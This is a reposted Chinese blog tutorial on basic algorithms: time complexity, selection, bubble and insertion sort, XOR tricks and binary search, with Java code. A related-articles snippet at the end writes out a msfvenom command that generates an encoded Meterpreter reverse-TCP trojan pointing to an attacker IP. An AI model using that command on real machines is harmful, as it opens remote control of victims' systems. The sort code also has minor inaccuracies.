【算法基础】常数操作 时间复杂度 选择排序 冒泡排序 插入排序 位运算

news2024/11/25 3:01:31

常数操作

定义

一个操作如果和样本的数据量没有关系,每次都是固定时间内完成的操作叫做常数操作,比如常见的计算操作:加减乘除。

        取出数组中任意位置元素可以叫做常数操作,因为数组的地址是连续的,计算机取的时候可以直接计算出偏移量来读取,但是对于Java中的链表List来说,它必须从第一个位置开始,一个一个往后取,因为前一个元素存储着后一个元素的地址,链表的地址是不连续的。

//常数操作
int a = arr[i];
//非常数操作
int b = list.get(i);

时间复杂度

定义

        时间复杂度是用来衡量算法的执行时间的一个概念。它描述了算法的时间耗费与输入规模的增长关系,通常用称为大O记法的符号表示。大O符号表示算法运行时间的上限,即当输入规模 n 趋近无穷大时,算法运行时间在最坏情况下的增长率。

公式

        时间复杂度:在常数操作表达式中,不要低阶项最要最高阶项,并省去高阶项的系数,剩下f(n),则时间复杂度为:eq?O%28f%28n%29%29

        我们通常用的都是大O表示法,也就是这个算法执行时最差的结果

        如果指标不能分析出哪个算法更好的时候(比如算法复杂度相同),就需要根据实际代码运行时间来判断了。

选择排序

        数组长度为 n ,每次从 i 到 n 找最小值放到 i 位置去。

[0,5,8,2,3,4]
[0]            (访问6次数,比较5次,交换1次)
[0,2]          (访问5次,比较4次,交换1次)
[0,2,3]        (访问4次,比较3次,交换1次)
[0,2,3,4]      (访问3次,比较2次,交换1次)
[0,2,3,4,5]    (访问2次,比较1次,交换1次)
[0,2,3,4,5,8]  (访问1次,比较0次,交换1次)

我们类推假如数组有 n 项,则进行选择排序的话: 

  1. 访问总次数:n+(n-1)+(n-2)+...
  2. 比较次数:n-1+(n-2)+...
  3. 交换次数:n

总的常数操作估算为eq?aN%5E%7B2%7D+bN+c,这么一个一元二次方程。

因为等差数列求和公式为:eq?%24S_n%20%3D%20%5Cfrac%7Bn%7D%7B2%7D%28a_1+a_n%29%24,计算可得:

  1. 访问次数eq?%24%5Cfrac%7Bn%7D%7B2%7D%28n+1%29%24
  2. 比较次数eq?%24%5Cfrac%7Bn%5E%7B2%7D%7D%7B2%7D%24
  3. 交换次数 = n

总的常数操作次数eq?n%5E%7B2%7D+1.5n ,所以选择排序的时间复杂度计算为:eq?O%28n%5E%7B2%7D%29

代码实现

public static void selectSort(int[] arr){
    for(int i=0;i<arr.length-1;i++){
        for(int j=i+1;j<arr.length;j++){
            if(arr[i]>arr[j]){
                int tmp = arr[j];
                arr[j] = arr[i];
                arr[i] = tmp;
            }
        }
    }
}

冒泡排序

        数组长度为 n ,每次从下标0处开始对相邻元素进行比较,大的数向右移,第一次循环最大的数移动到第下标为 n-1 处,第二次最大的数移动到下标为 n-2 处...循环 n-1次。

[0,5,8,2,3,4]
[0,5,2,3,4,8]            (访问6次数,比较5次,交换3次)
[0,2,3,4,5,8]          (访问5次,比较4次,交换3次)
[0,2,3,4,5,8]        (访问4次,比较3次,交换0次)
[0,2,3,4,5,8]      (访问3次,比较2次,交换0次)
[0,2,3,4,5,8]    (访问2次,比较1次,交换0次)
[0,2,3,4,5,8]  (访问1次,比较0次,交换0次)

冒泡排序时间复杂度:eq?O%28n%5E%7B2%7D%29

代码实现

public static void maoPaoSort(int[] arr){
    for(int i=0;i<arr.length-1;i++){     //循环n-1次
        for(int j=0;j<arr.length-i-1;j++){
            if(arr[j]>arr[j+1]){
                int tmp = arr[j+1];
                arr[j+1] = arr[j];
                arr[j] = tmp;
            }
        }
    }
}

异或运算(^)

核心:相同为0,不同为1

异或运算可以理解为无进位相加:

a: 100011
b: 010111
 ^ ------
 = 110100

性质

  1. 0^N=N(N代表任意数)
  2. N^N=0
  3. 交换律和结合律:a^b=b^a  (a^b)^c=a^(b^c)

异或的使用

1、交换两个数的值

前提:两个值指向内存中不同的两块区域,比如交换数组arr中相同位置的两个数必然导致该位置的值变为0。

int a = 甲
int b = 乙

a = a^b    a=甲^乙 b=乙
b = a^b    a=甲^乙 b=甲^乙^乙=甲^0=甲
a = a^b    a=甲^乙^甲=(甲^甲)^乙=0^乙=乙 b=甲

代码实现 

//如果i和j为同一个值的话,会出错
public static void swap(int[] arr,int i,int j){
        arr[i] = arr[i]^arr[j];
        arr[j] = arr[i]^arr[j];
        arr[i] = arr[i]^arr[j];
    }

 例题1

数组中一种数出现了奇数次,其它的数都出现了偶数次,怎么找到出现了奇数次的数。

要求:时间复杂度 = eq?O%28n%5E%7B%7D%29 。

思路:使用一个变量0从头到尾对数组进行异或运算,将出现偶数次的数除去,剩下的就是只出现了奇数次的数。

        int[] arr = {1,2,2,3,3,4,4};
        int eor=0;
        for (int n : arr) {
            eor = eor ^ n;    //1^2^2^3^3^4^4=1
        }
        System.out.println(eor);//1

例题2

数组中两种数出现了奇数次,其它都出现了偶数次,怎么找到这两个出现了奇数次的数。

要求:时间复杂度 = eq?O%28n%5E%7B%7D%29 。

思路:

  1. 和例题1一样,我们假如同样利用一个变量 eor 去从头到尾对数组进行异或运算,这次的结果将是两个出现了奇数次的数的异或结果,我们假设为 eor = a^b
  2. 因为出现奇数次的数是两种数,所以一定有 eq?a%5Cneq%20b,所以意味着此时 eor 对应的二进制数一定有一位等于 1(因为每一位全部等于0的话这个值就是0,但这里 eq?a%5Cneq%20b,所以 eor=a^b 绝不可能等于0)。
  3. 根据某一位来分类,我们知道eor=a^b,而eor的二进制中位上值为1说明a和b该位上的值是不同的,一个为0一个为1。我们假设eor的第 i 位为1,就是说 a 的第 i 位和 b 的第 i 位一定不一样,这个时候所有的数都被分为两类,第 i 位为1的和为0的,其中a和b肯定各占一类。
  4. 因为eor的二进制数中,可能不止一个位上的值为1,所以我们需要引进变量 eq?eor%5E%7B%27%7D (eor'=eor  (~eor + 1))来取出eor中最右边的1(比如eor=10011011则对应eor'=00000001)。用eq?eor%5E%7B%27%7D去对数组中所有数进行 &运算,这样就把数组分为了两部分,&运算后为0的和为1的,出现偶数次的数自然会被放到一类。 
  5. 分为两类后,我们使用0进行异或运算(因为0^任意数=任意数),这样就把偶数次的数除去了,一个类里就只剩下我们的a或者b。
  6. 怎么区分a和b的值?我们只需要用eor(a^b)去和上面的结果(a或者b的值)进行异或运算就可以得到另一个数了(因为 a^a^b=b,b^a^b=a)。

代码实现 

      int[] arr = {1,2,2,3,3,4,4,5};

        int eor=0;
        for (int a : arr) {
            eor = eor^a;
        }
        //eor = a ^ b
        //aor != 0
        //eor 必然有一位是1
        //eor这个数中,位上为1的地方a或b肯定有一个为1一个为0
        //(因为eor=a^b,所以只有a和b位上不同才会使得eor某位上的值=1),所以我们下面使用最右边的1作为区分a和b的关键,这才是我们把a和b区分到两个类的关键

        //a       01011100
        //b       11000111
        //eor     10011011  位上为1的部分说明必然有a或b该位一个为0一个为1
        //~eor    01100100
        //~eor+1  01100101
        //eor&(~eor+1)        00000001
        int rightOne = eor & (~eor + 1);//提取出eor最右边的 1

        int onlyOne = 0; //eor'
        for (int cur : arr) {
            //因为rightOne=00000001,0&任意数=0,所以可以根据最后一位来将数组中所有数分为两类
            if((cur & rightOne) == 0){
                onlyOne ^= cur;//偶数个的数被异或运算抵消 只剩下a或者b
            }
        }
        System.out.println(onlyOne +" "+(eor ^ onlyOne));

        我们可以看到,使用位运算我们只需要遍历1遍数组就可以实现例题1,遍历两遍数组就可以实现例题2。最重要的是复杂度仅为eq?O%28n%5E%7B%7D%29 ,除此之外,要知道位运算是要比算术运算快很多的!

插入排序

        先做到下标0~0范围是有序的,再做到0~1范围是有序的,...最后做到0~n是有序的。类似于斗地主的时候,来一张牌就从左往右从大到小选择合适的位置插入这张牌。

[3,2,5,4,2,3,3]
[3]                0~0有序
[2,3]              0~1有序
[2,3,5]            0~2有序
[2,3,4,5]          0~3有序
[2,2,3,4,5]        0~4有序
[2,2,3,3,4,5]      0~5有序
[2,2,3,3,3,4,5]    0~6有序

时间复杂度eq?O%28n%5E%7B2%7D%29 。(时间复杂度是按照该算法的最差的情况取的)。

  • 当数组本来就有序时,插入排序的时间复杂度可以仅为:eq?O%28n%7B%5E%7B%7D%7D%29
  • 当数组逆序时,时间复杂度最差为:eq?O%28n%7B%5E%7B2%7D%7D%29
[1,2,3,4,5]
[1]               0~0 比较1次,交换0次
[1,2]             0~1 比较1次,交换0次
[1,2,3]           0~2 比较1次,交换0次
[1,2,3,4]         0~3 比较1次,交换0次
[1,2,3,4,5]       0~4 比较1次,交换0次

[5,4,3,2,1]
[5]               0~0 比较1次,交换0次
[4,5]             0~1 比较1次,交换1次
[3,4,5]           0~2 比较1次,交换2次
[2,3,4,5]         0~3 比较1次,交换3次
[1,2,3,4,5]       0~4 比较1次,交换4次

 代码实现

public static void insertSort(int[] arr){
        // 0~0有序
        // 0~i有序
        for (int i = 0; i < arr.length; i++) {// 0~i做到有序
            for (int j = i-1; j >= 0 && arr[j] > arr[j+1]; j--) {
                swap(arr,j,j+1);
            }
        }
    }

二分法

定义

        二分法用于查找某个值,查找时它一次砍一半,一次砍一半,直到找到为止,砍的次数就是二分法的时间复杂度。

        时间复杂度:eq?O%28log_%7B2%7DN%29 ,以2为底的时间复杂度在算法默认用eq?O%28log_%7B%7DN%29 表示 ,如果是别的数(比如3,则用eq?O%28log_%7B3%7DN%29 来表示)。

比如下面我们从8个、16个数中找到我们目标的值的最坏次数结果:

  •  eq?log_%7B2%7D8%20%3D%203
  •  eq?log%28_%7B2%7D16%29%20%3D%204
8个    4个    2个    1个            最多砍3次
16个   8个    4个    2个    1个     最多砍4次

leecode35.搜索插入位置

  • 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。
  • 请必须使用时间复杂度为 O(log n) 的算法。

示例 1:

输入: nums = [1,3,5,6], target = 5
输出: 2

示例 2: 

输入: nums = [1,3,5,6], target = 2
输出: 1

示例 3: 

输入: nums = [1,3,5,6], target = 7
输出: 4

思路:时间复杂度为 O(log_{}N)  就是eq?O%28log_%7B2%7DN%29 ,也就是让我们使用二分法进行查找。

代码

class Solution {
    public int searchInsert(int[] nums, int target) {
        int left=0;
        int right=nums.length-1;

        if(target<nums[0]){
            return 0;
        }
        if(target>nums[nums.length-1]){
            return nums.length;
        }
    
        while(left <= right){
            int mid = (left + right)/2;
            if(nums[mid] > target){
                right = mid-1;
            }else if(nums[mid] < target){
                left = mid+1;
            }else{
                return mid;
            }
        }
        if(left>right){
            return left;
        }
        return -1;
    }
}

leecode278.第一个错误版本

【题目链接】

        大概意思就是说,一共有n个版本(从1到n),如果第 i 个版本出错了,那么后面的所有版本也就都错了,让你找到第一个出错的版本,也就是出错的源头。我们不需要关心出错的版本是哪个,只负责最快找到出错的版本就行,出错可以用isBadVersion(int version)来判断。用二分法最快了,因为测试集中有大到几十亿的测试值。

思路:用二分法发现一个错误版本后,这并不一定是第一个错的版本,所以需要继续向左继续查找,直到使得 left 和 right 指针错位,说明这个时候正好位于正确版本和错误版本的临界点。

时间复杂度:O(log_{}N) 。

/* The isBadVersion API is defined in the parent class VersionControl.
      boolean isBadVersion(int version); */

public class Solution extends VersionControl {
    public int firstBadVersion(int n) {
        int left = 1;
        int right = n;
        if(n==1){
            return 1;
        }
        while(left<=right){
            //很神奇的一行代码,使用mid=(left+right)/2就会超时溢出
            int mid = left+(right-left)/2;
            if(isBadVersion(mid)){ 
                right = mid-1;
            }else{
                left = mid+1;
            }
        }
        if(left>right){
            return left;
        }
        return -1;
    }
}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/639129.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

本地加密传输测试-业务安全测试实操(2)

3个测试点:加密传输,session会话,session注销会话 测试原理和方法 本机加密传输测试是针对客户端与服务器的数据传输,查看数据是否采用SSL (Security Socket Layer ,安全套接层)加密方式加密。 测试过程 测试验证客户端与服务器交互数据在网络传输过程中是否采用 SSL 进…

Linux基础知识4

Linux基础知识 适合有Linux基础的人群进行复习。 禁止转载&#xff01; shell编程 shell第一行内容格式&#xff1f; #!bin/sh&#xff0c;#!bin/bash&#xff0c;#!/bin/csh&#xff0c;#!/bin/tcsh或#!/bin/ksh等 执行shell脚本的三种方式 (1)为shell脚本直接加上可执行权…

【STL】 string类使用一站式攻略

目录 一&#xff0c;STL 1. 简介 2. STL的版本 3. STL 六大组件 4. 学习STL&#xff0c; 三境界 5. 学会查看C文档 二&#xff0c; string类 1. 相对于C语言&#xff0c;我们为什么还需要学习C的string&#xff1f; 2. 头文件 3. 常见构造函数 4. operator …

十三、SpringCloud

一、基本概念 Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发&#xff0c;如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等&#xff0c;都可以用Spring Boot的开发风格做到一键启动和部署。 Spr…

HQChart实战教程62-自定义K线标题栏

HQChart实战教程62-自定义K线标题栏 K线标题栏步骤1. 替换k线标题格式化输出函数2. 格式化输出函数说明HQChart插件源码地址完整的demo源码K线标题栏 K线标题栏显示的是当前十字光标所在位置的K线信息,显示在K线窗口顶部。一般会显示品种的名称,周期,开,高,低,收,成交量…

msf渗透练习-生成木马控制window系统

说明&#xff1a; 本章内容&#xff0c;仅供学习&#xff0c;不要用于非法用途&#xff08;做个好白帽&#xff09; &#xff08;一&#xff09;生成木马 命令&#xff1a; msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.23.46 LPORT4444 -e x86/shikata_ga_nai -…

AB32VG:SDK_AB53XX_V061(3)IO口复用功能的补充资料

文章目录 1.IO口功能复用表格2.功能映射寄存器 FUNCTION03.功能映射寄存器 FUNCTION14.功能映射寄存器 FUNCTION2 AB5301A的官方数据手册很不完善&#xff0c;没有开放出来。我通过阅读源码补充了一些关于IO口功能复用寄存器的资料。 官方寄存器文档&#xff1a;《 AB32VG1_Re…

Shapefile资源下载网址(整理自用)

1、按国家下载&#xff08;路网、自然特征、POI、江河海...&#xff09; 不同国家的数据资源可能不一样。 Download Free International World Country ArcGIS Arc GIS Shapefiles 2、按国家下载&#xff08;行政划分&#xff09; 自动包含国家、省、城市等多级的shapefile …

Bitmap和Drawable的区别

日记 其实感觉最近事情挺多的&#xff0c;所有最近很多博客都是中午或者晚上休息的时候写的&#xff0c;甚至是项目编译的时候编写的。说真的&#xff0c;我最近感觉&#xff0c;对于那种大量的时间&#xff0c;我反而不能很好的运用&#xff0c;反而对于碎片时间&#xff0c;…

数据结构之堆的详解

数据结构之堆 一.堆的概念1.1 堆的基本概念1.2 堆的存储方式 二.堆的操作和实现基本框架建堆插入删除 三.堆的应用优先队列top-k问题&#xff1a;最小的K个数或者最大k个数堆排序 一.堆的概念 1.1 堆的基本概念 堆是一种特殊的完全二叉树 堆分为小根堆和大根堆,大根堆的根节…

Notes/Domino 14 Drop1

大家好&#xff0c;才是真的好。 2023年5月31号&#xff0c;Notes/Domino 14 Drop1如约而至。在晚上照理检查了一下Notes相关博客时&#xff0c;就发现该版本现在可以下载。一诺千金&#xff0c;信若尾生&#xff0c;这是我对14版本的第一个评价。 很多人关心Notes/Domino 14…

【redis-初级】redis安装

文章目录 1.非关系型数据库&#xff08;NoSQL&#xff09;2.在Linux上安装redis2.1 安装前准备2.2 安装2.3 启动2.4 关闭 3. redis客户端3.1 命令客户端3.2redis远程客户端3.3 redis编程客户端 1.非关系型数据库&#xff08;NoSQL&#xff09; 2.在Linux上安装redis 2.1 安装前…

提升网络安全的关键利器:EventLog Analyzer

导语&#xff1a; 随着网络攻击和数据泄露事件的不断增加&#xff0c;企业对于网络安全的关注度也日益提高。在这样的背景下&#xff0c;安全信息与事件管理系统&#xff08;SIEM&#xff09;成为了提升网络安全的关键利器之一。本文将重点介绍一款强大的SIEM工具——EventLog…

Spark大数据处理学习笔记1.4 掌握Scala运算符

文章目录 一、学习目标二、运算符等价于方法&#xff08;一&#xff09;运算符即方法&#xff08;二&#xff09;方法即运算符1、单参方法2、多参方法3、无参方法 三、Scala运算符&#xff08;一&#xff09;运算符分类表&#xff08;二&#xff09;Scala与Java运算符比较 四、…

mac docker 安装 ES

一. docker 安装 ES 1. 下载镜像 docker pull elastcisearch:8.7.1 2. 启动镜像 docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.typesingle-node" -e ES_JAVA_OPTS"-Xms256m -Xmx256m" elasticsearch:8.7.1 参数说明…

AntDB 存储技术——Hash分片技术

单台机器很难处理海量的数据或者很高的并发查询&#xff0c;需要把数据拆分到多个节点上&#xff0c;在多个节点上进行存储和处理&#xff0c;这种技术叫作数据分区&#xff0c;也称为数据分片。数据分片的主要目的是提高可扩展性&#xff0c;使数据分散到多个节点上&#xff0…

【Java】冒泡排序

文章目录 一、什么是冒泡排序定义冒泡思想代码实现 二、冒泡排序的优化第一次优化第二次优化 三、鸡尾酒排序 一、什么是冒泡排序 定义 冒泡排序(bubble sort)是最基础的排序算法&#xff0c;它是一种基础的交换排序。它的原理就像汽水一样&#xff0c;汽水中常常有许多小气泡…

Vue第八篇Vue3

一 Vue3的变化 1.性能的提升 打包大小减少41% 初次渲染快55%, 更新渲染快133% 内存减少54% 2.源码的升级 使用Proxy代替defineProperty实现响应式 重写虚拟DOM的实现和Tree-Shaking 3.拥抱TypeScript Vue3可以更好的支持TypeScript 4.新的特性 Composition API&#…

Leetcode---349周赛

题目列表 2733. 既不是最小值也不是最大值 2734. 执行子串操作后的字典序最小字符串 2735. 收集巧克力 2736. 最大和查询&#xff08;这题难度较大&#xff0c;等以后有时间再和大家分享&#xff09; 一、2733、既不是最小值也不是最大值 关键是看到题目中说数组中的元素不…

一文快速了解软件技术基础

前言 数据结构和算法是计算机科学的基石&#xff0c;它们为我们提供了处理和组织数据的方法和工具。通过学习数据结构&#xff0c;您将能够理解如何存储和操作不同类型的数据&#xff0c;如何优化内存使用和访问效率&#xff0c;以及如何设计高效的算法来解决各种计算问题。掌…